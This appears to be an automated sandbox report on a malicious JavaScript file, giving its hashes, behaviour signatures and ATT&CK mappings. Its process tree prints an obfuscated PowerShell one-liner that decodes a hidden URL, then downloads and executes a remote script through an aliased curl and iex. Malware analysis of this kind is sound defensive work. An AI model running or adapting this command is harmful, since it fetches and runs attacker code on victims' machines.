9cfbbd37b843aa2baa647cbe3263de1976df87168595004fae6a175ecad46352

Analysis

max time kernel
149s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
21-12-2024 14:49

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General

Target

006404a9981d9352e1e9147a2d3296f1c6a9498f32bbdc403e32f5894e368bd0.js
Size

183KB
MD5

35ee90514aff74a501a8a2553e874d85
SHA1

14d8b905fb3d72286b408f09dcd259758b834555
SHA256

006404a9981d9352e1e9147a2d3296f1c6a9498f32bbdc403e32f5894e368bd0
SHA512

42bf396ea6c141bc537c51c57ee2ccdfe6078ce87af3edf678b388881b18fcb2a993faa4bdb9b79b8b7c2d9dbd1c85a49ed841128dad4e9f7153f57a6ab686da
SSDEEP

1536:nwJ0kCX8CZgi1jai/byFwkCX8CZgE1jai/byFz1jai/byFSkCX8CZgIkCX8CZgi:nzH8LqYwH8LkY5YSH8LIH8Li

Score

10^/10

execution

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2892	3080	conhost.exe	83

Blocklisted process makes network request 1 IoCs

flow	pid	Process
7	3560	powershell.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3560	powershell.exe
3560	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3560	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 2892 wrote to memory of 3560	2892	conhost.exe	85
PID 2892 wrote to memory of 3560	2892	conhost.exe	85

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\006404a9981d9352e1e9147a2d3296f1c6a9498f32bbdc403e32f5894e368bd0.js
1⤵
PID:2256

C:\Windows\system32\conhost.exe
conhost --headless powershell $hmuwzy='ur' ;new-alias printout c$($hmuwzy)l;$umjgyesoiafnvb=(4116,4127,4135,4119,4121,4116,4136,4135,4140,4073,4135,4069,4116,4064,4134,4129,4130,4065,4067,4064,4130,4122,4130,4081,4133,4079,4127,4123,4128,4134,4133,4068,4067);$uvhkqifzst=('bronx','get-cmdlet');$rtclzpvao=$umjgyesoiafnvb;foreach($ehkzpbrmq in $rtclzpvao){$vkcnybzau=$ehkzpbrmq;$yzabpkc=$yzabpkc+[char]($vkcnybzau-4018);$ldurmpgoiqa=$yzabpkc; $dmxeitnalbq=$ldurmpgoiqa};$djtfpxyole[2]=$dmxeitnalbq;$bfqoxcvpgamei='rl';$imuosalytk=1;.$([char](9992-9887)+'e'+'x')(printout -useb $dmxeitnalbq)
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2892
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell $hmuwzy='ur' ;new-alias printout c$($hmuwzy)l;$umjgyesoiafnvb=(4116,4127,4135,4119,4121,4116,4136,4135,4140,4073,4135,4069,4116,4064,4134,4129,4130,4065,4067,4064,4130,4122,4130,4081,4133,4079,4127,4123,4128,4134,4133,4068,4067);$uvhkqifzst=('bronx','get-cmdlet');$rtclzpvao=$umjgyesoiafnvb;foreach($ehkzpbrmq in $rtclzpvao){$vkcnybzau=$ehkzpbrmq;$yzabpkc=$yzabpkc+[char]($vkcnybzau-4018);$ldurmpgoiqa=$yzabpkc; $dmxeitnalbq=$ldurmpgoiqa};$djtfpxyole[2]=$dmxeitnalbq;$bfqoxcvpgamei='rl';$imuosalytk=1;.$([char](9992-9887)+'e'+'x')(printout -useb $dmxeitnalbq)
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3560

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_b2ofbqh2.v5t.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3560-0-0x00007FF8BCA53000-0x00007FF8BCA55000-memory.dmp

Filesize
8KB

Download
memory/3560-6-0x000001F5D9E10000-0x000001F5D9E32000-memory.dmp

Filesize
136KB

Download
memory/3560-11-0x00007FF8BCA50000-0x00007FF8BD511000-memory.dmp

Filesize
10.8MB

Download
memory/3560-12-0x00007FF8BCA50000-0x00007FF8BD511000-memory.dmp

Filesize
10.8MB

Download
memory/3560-13-0x00007FF8BCA50000-0x00007FF8BD511000-memory.dmp

Filesize
10.8MB

Download
memory/3560-14-0x00007FF8BCA50000-0x00007FF8BD511000-memory.dmp

Filesize
10.8MB

Download
memory/3560-15-0x00007FF8BCA53000-0x00007FF8BCA55000-memory.dmp

Filesize
8KB

Download
memory/3560-16-0x00007FF8BCA50000-0x00007FF8BD511000-memory.dmp

Filesize
10.8MB

Download
memory/3560-19-0x00007FF8BCA50000-0x00007FF8BD511000-memory.dmp

Filesize
10.8MB

Download